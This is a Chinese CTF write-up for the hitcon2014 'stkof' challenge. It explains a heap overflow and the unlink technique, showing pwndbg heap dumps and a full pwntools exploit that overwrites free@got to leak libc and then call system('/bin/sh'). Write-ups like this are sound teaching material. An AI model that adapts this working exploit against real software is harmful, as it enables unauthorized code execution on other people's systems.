本文主要列出hitcon2014_stkof的详细过程
主要参考:unlink 系列
程序流程
-
allocate:分配一个指定size大小的块,返回idx。
其中块的指针信息保存在一个全局变量0x602140中
-
fill:根据idx找到对应的块,重新给定大小size,读入内容content
-
free:释放idx的块
漏洞分析
- 由于fill时候的size可以重新制定,可以造成堆溢出。
- 没有打印函数
- 有一个全局变量
方法:unlink
- unlink,控制全局变量内容
- 修改chunk1指针为free_got,修改got表内容为puts_plt
- 修改chunk2指针为puts_got,这样,free(2)即可打印puts地址
- 计算system和binsh
- 同2,修改got表内容为system,对未使用的chunk4填入‘binsh’
- free(4)即可get_shell
详细过程
0.tip(setbuf)
setbuf()/setvbuf()函数作用:关闭I/O缓冲区
一般为了让程序显示正常,会关闭I/O缓冲区
setbuf(stdin ,0);
setbuf(stdout,0);
setbuf(stderr,0);
但是本题没有关闭缓冲区,函数运行开始阶段在fgets()函数以及printf()函数运行的时候,会malloc()两块内存区域。
1.保护
没开pie,Partial RELRO,可以修改got表内容。
winter@ubuntu:~/buu$ checksec stkof
[*] '/home/winter/buu/stkof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
2.申请四个块
由于为关闭缓冲区,故程序中多出输入缓冲区和输出缓冲区。
第一个chunk,由于会加在输入输出缓冲区之间,后续无用。
第二个chunk,为了unlink前向合并
第三个chunk,大小非fastbin
第四个chunk,一个开始阶段不被改变的chunk,用于最后填入的‘/bin/sh’。
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x20f7000
Size: 0x1011
Allocated chunk | PREV_INUSE
Addr: 0x20f8010
Size: 0x31
Allocated chunk | PREV_INUSE
Addr: 0x20f8040
Size: 0x411
Allocated chunk | PREV_INUSE
Addr: 0x20f8450
Size: 0x41
Allocated chunk | PREV_INUSE
Addr: 0x20f8490
Size: 0x91
Allocated chunk | PREV_INUSE
Addr: 0x20f8520
Size: 0x31
Top chunk | PREV_INUSE
Addr: 0x20f8550
Size: 0x20ab1
pwndbg> x/50gx 0x20f8450
0x20f8450: 0x0000000000000000 0x0000000000000041
0x20f8460: 0x0000000000000000 0x0000000000000000
0x20f8470: 0x0000000000000000 0x0000000000000000
0x20f8480: 0x0000000000000000 0x0000000000000000
0x20f8490: 0x0000000000000000 0x0000000000000091
0x20f84a0: 0x0000000000000000 0x0000000000000000
0x20f84b0: 0x0000000000000000 0x0000000000000000
0x20f84c0: 0x0000000000000000 0x0000000000000000
0x20f84d0: 0x0000000000000000 0x0000000000000000
0x20f84e0: 0x0000000000000000 0x0000000000000000
0x20f84f0: 0x0000000000000000 0x0000000000000000
0x20f8500: 0x0000000000000000 0x0000000000000000
0x20f8510: 0x0000000000000000 0x0000000000000000
0x20f8520: 0x0000000000000000 0x0000000000000031
0x20f8530: 0x0000000000000000 0x0000000000000000
0x20f8540: 0x0000000000000000 0x0000000000000000
0x20f8550: 0x0000000000000000 0x0000000000020ab1
0x20f8560: 0x0000000000000000 0x0000000000000000
0x20f8570: 0x0000000000000000 0x0000000000000000
全局变量的情况,申请四个chunk的首地址记录在里面。
pwndbg> x/30gx 0x602140
0x602140: 0x0000000000000000 0x00000000020f8020
0x602150: 0x00000000020f8460 0x00000000020f84a0
0x602160: 0x00000000020f8530 0x0000000000000000
0x602170: 0x0000000000000000 0x0000000000000000
3.伪造chunk,unlink前向合并
在chunk2中伪造了一个0x20大小的已被释放的chunk,并在chunk3的pre_size中也要填入0x30
通过unlink的固定格式,进行unlink操作,即可使target的地址为target-0x18,网target地址填入数据,即可实现全局变量的控制。
target = 0x602140 + 0x10
fd = target - 0x18
bk = target - 0x10
伪造chunk
- size为0x30,被释放
- fd = target - 0x18
- bk = target - 0x10
修改下一个chunk的pre_size(合并找到伪造的chunk)
- pre_size = 0x30,当前chunk为0x90
pwndbg> x/50gx 0x20f8450
0x20f8450: 0x0000000000000000 0x0000000000000041
0x20f8460: 0x0000000000000000 0x0000000000000030
0x20f8470: 0x0000000000602138 0x0000000000602140
0x20f8480: 0x6161616161616161 0x6161616161616161
0x20f8490: 0x0000000000000030 0x0000000000000090
0x20f84a0: 0x0000000000000000 0x0000000000000000
0x20f84b0: 0x0000000000000000 0x0000000000000000
0x20f84c0: 0x0000000000000000 0x0000000000000000
0x20f84d0: 0x0000000000000000 0x0000000000000000
0x20f84e0: 0x0000000000000000 0x0000000000000000
0x20f84f0: 0x0000000000000000 0x0000000000000000
0x20f8500: 0x0000000000000000 0x0000000000000000
0x20f8510: 0x0000000000000000 0x0000000000000000
0x20f8520: 0x0000000000000000 0x0000000000000031
0x20f8530: 0x0000000000000000 0x0000000000000000
0x20f8540: 0x0000000000000000 0x0000000000000000
0x20f8550: 0x0000000000000000 0x0000000000020ab1
0x20f8560: 0x0000000000000000 0x0000000000000000
0x20f8570: 0x0000000000000000 0x0000000000000000
free后造成合并,unlink,在chunk2中填入了target-0x18
pwndbg> x/30gx 0x602140
0x602140: 0x0000000000000000 0x00000000020f8020
0x602150: 0x0000000000602138 0x0000000000000000
0x602160: 0x00000000020f8530 0x0000000000000000
0x602170: 0x0000000000000000 0x0000000000000000
heap里面看不出来,,,因为地址不对,,,
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x20f7000
Size: 0x1011
Allocated chunk | PREV_INUSE
Addr: 0x20f8010
Size: 0x31
Allocated chunk | PREV_INUSE
Addr: 0x20f8040
Size: 0x411
Allocated chunk | PREV_INUSE
Addr: 0x20f8450
Size: 0x41
Allocated chunk
Addr: 0x20f8490
Size: 0x90
Allocated chunk
Addr: 0x20f8520
Size: 0x30
Top chunk | PREV_INUSE
Addr: 0x20f8550
Size: 0x20ab1
但是已经成功合并释放了,起始地址为伪造的chunk开头
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x20f8460 —▸ 0x7fbcdd959b78 (main_arena+88) ◂— 0x20f8460
smallbins
empty
largebins
empty
伪造的chunk大小变为0xc0(0x30+0x90)
pwndbg> x/50gx 0x20f8450
0x20f8450: 0x0000000000000000 0x0000000000000041
0x20f8460: 0x0000000000000000 0x00000000000000c1
0x20f8470: 0x00007fbcdd959b78 0x00007fbcdd959b78
0x20f8480: 0x6161616161616161 0x6161616161616161
0x20f8490: 0x0000000000000030 0x0000000000000090
0x20f84a0: 0x0000000000000000 0x0000000000000000
0x20f84b0: 0x0000000000000000 0x0000000000000000
0x20f84c0: 0x0000000000000000 0x0000000000000000
0x20f84d0: 0x0000000000000000 0x0000000000000000
0x20f84e0: 0x0000000000000000 0x0000000000000000
0x20f84f0: 0x0000000000000000 0x0000000000000000
0x20f8500: 0x0000000000000000 0x0000000000000000
0x20f8510: 0x0000000000000000 0x0000000000000000
0x20f8520: 0x00000000000000c0 0x0000000000000030
0x20f8530: 0x0000000000000000 0x0000000000000000
0x20f8540: 0x0000000000000000 0x0000000000000000
0x20f8550: 0x0000000000000000 0x0000000000020ab1
0x20f8560: 0x0000000000000000 0x0000000000000000
0x20f8570: 0x0000000000000000 0x0000000000000000
4. 修改全局变量的值
通过unlink技术得到的部分地址读写能力,可以修改chunk1的指针为free_got,chunk2的指针为puts_got,接下来对chunk1和chunk2的内容进行的修改,本质都是修改两个got表
pwndbg> x/30gx 0x602130
0x602130: 0x0000000000000000 0x6161616161616161
0x602140: 0x6161616161616161 0x0000000000602018
0x602150: 0x0000000000602020 0x0000000000000000
0x602160: 0x00000000020f8530 0x0000000000000000
0x602170: 0x0000000000000000 0x0000000000000000
pwndbg> x/30gx 0x0000000000602018
0x602018 <free@got.plt>: 0x00007fbcdd619540 0x00007fbcdd6046a0
0x602028 <fread@got.plt>: 0x00007fbcdd6031b0 0x0000000000400786
5.获取打印功能,泄露地址
由于前面已经修改chunk1的指针为got表指针,所以,直接fill chunk1的内容为puts_plt,那么free()时就是执行puts函数,从而泄露地址。
由于chunk2的指针已经为puts_got,所以free(2)就是puts(puts函数的got表)
pwndbg> x/30gx 0x0000000000602018
0x602018 <free@got.plt>: 0x0000000000400760 0x00007fbcdd6046a0
0x602028 <fread@got.plt>: 0x00007fbcdd6031b0 0x0000000000400786
pwndbg> x/30gx 0x0000000000400760
0x400760 <puts@plt>: 0x0168002018ba25ff 0xffffffd0e9000000
泄露成功,可以计算libc基址、system函数地址
[DEBUG] Received 0x7 bytes:
00000000 a0 46 60 dd bc 7f 0a │·F`·│···│
00000007
pwndbg> x/30gx puts
0x7fbcdd6046a0 <_IO_puts>:
6.free->system,块内容“/bin/sh”
同5,再次fill chunk1内容为system的地址,然后执行free函数就是执行system函数。
对未使用的chunk4填入“/bin/sh”内容,free(4)即可执行system(“/bin/sh”)
pwndbg> x/30gx 0x0000000000602018
0x602018 <free@got.plt>: 0x00007fbcdd5da3a0 0x00007fbcdd6046a0
0x602028 <fread@got.plt>: 0x00007fbcdd6031b0 0x0000000000400786
pwndbg> x/30gx 0x00007fbcdd5da3a0
0x7fbcdd5da3a0 <__libc_system>
pwndbg> x/30gx 0x20f8450
0x20f8450: 0x0000000000000000 0x0000000000000041
0x20f8460: 0x0000000000000000 0x00000000000000c1
0x20f8470: 0x00007fbcdd959b78 0x00007fbcdd959b78
0x20f8480: 0x6161616161616161 0x6161616161616161
0x20f8490: 0x0000000000000030 0x0000000000000090
0x20f84a0: 0x0000000000000000 0x0000000000000000
0x20f84b0: 0x0000000000000000 0x0000000000000000
0x20f84c0: 0x0000000000000000 0x0000000000000000
0x20f84d0: 0x0000000000000000 0x0000000000000000
0x20f84e0: 0x0000000000000000 0x0000000000000000
0x20f84f0: 0x0000000000000000 0x0000000000000000
0x20f8500: 0x0000000000000000 0x0000000000000000
0x20f8510: 0x0000000000000000 0x0000000000000000
0x20f8520: 0x00000000000000c0 0x0000000000000030
0x20f8530: 0x0000000000000000 0x0000000000000000#chunk4
pwndbg> x/30gx 0x20f8450
0x20f8450: 0x0000000000000000 0x0000000000000041
0x20f8460: 0x0000000000000000 0x00000000000000c1
0x20f8470: 0x00007fbcdd959b78 0x00007fbcdd959b78
0x20f8480: 0x6161616161616161 0x6161616161616161
0x20f8490: 0x0000000000000030 0x0000000000000090
0x20f84a0: 0x0000000000000000 0x0000000000000000
0x20f84b0: 0x0000000000000000 0x0000000000000000
0x20f84c0: 0x0000000000000000 0x0000000000000000
0x20f84d0: 0x0000000000000000 0x0000000000000000
0x20f84e0: 0x0000000000000000 0x0000000000000000
0x20f84f0: 0x0000000000000000 0x0000000000000000
0x20f8500: 0x0000000000000000 0x0000000000000000
0x20f8510: 0x0000000000000000 0x0000000000000000
0x20f8520: 0x00000000000000c0 0x0000000000000030
0x20f8530: 0x0068732f6e69622f 0x0000000000000000#chunk4填入“/bin/sh”
pwndbg> x/10s 0x20f8530
0x20f8530: "/bin/sh"
完整exp
from pwn import *
p = process('./stkof')
p=remote("node3.buuoj.cn",28999)
context.log_level = 'debug'
elf = ELF("./stkof")
libc = ELF("./libc-2.23.so")
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
def alloc(size):
p.sendline(str(1))
p.sendline(str(size))
p.recvuntil("OK")
def fill(idx,content):
p.sendline(str(2))
p.sendline(str(idx))
p.sendline(str(len(content)))
p.sendline(content)
p.recvuntil("OK")
def free(idx):
p.sendline(str(3))
p.sendline(str(idx))
alloc(0x30)
alloc(0x30)
alloc(0x80)
alloc(0x30)
target = 0x602140 + 0x10
fd = target - 0x18
bk = target - 0x10
payload = p64(0) + p64(0x30)
payload += p64(fd) + p64(bk)
payload += "a"*0x10
payload += p64(0x30) + p64(0x90)
fill(2,payload)
free(3)
payload = "a"*0x10
payload += p64(free_got) + p64(puts_got)
fill(2,payload)
payload = p64(puts_plt)
fill(1,payload)
free(2)
puts_addr = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')
log.success(hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
system = libc_base + libc.sym['system']
binsh = libc_base + libc.search("/bin/sh").next()
log.success(hex(libc_base))
log.success(hex(system))
log.success(hex(binsh))
payload = p64(system)
fill(1,payload)
fill(4,'/bin/sh\x00')
free(4)
p.interactive()
这道题其实是第二次做了,还比较顺。思路比第一次更清晰了(第一次分析)。
unlink主要适用于存在堆溢出和全局变量的情况。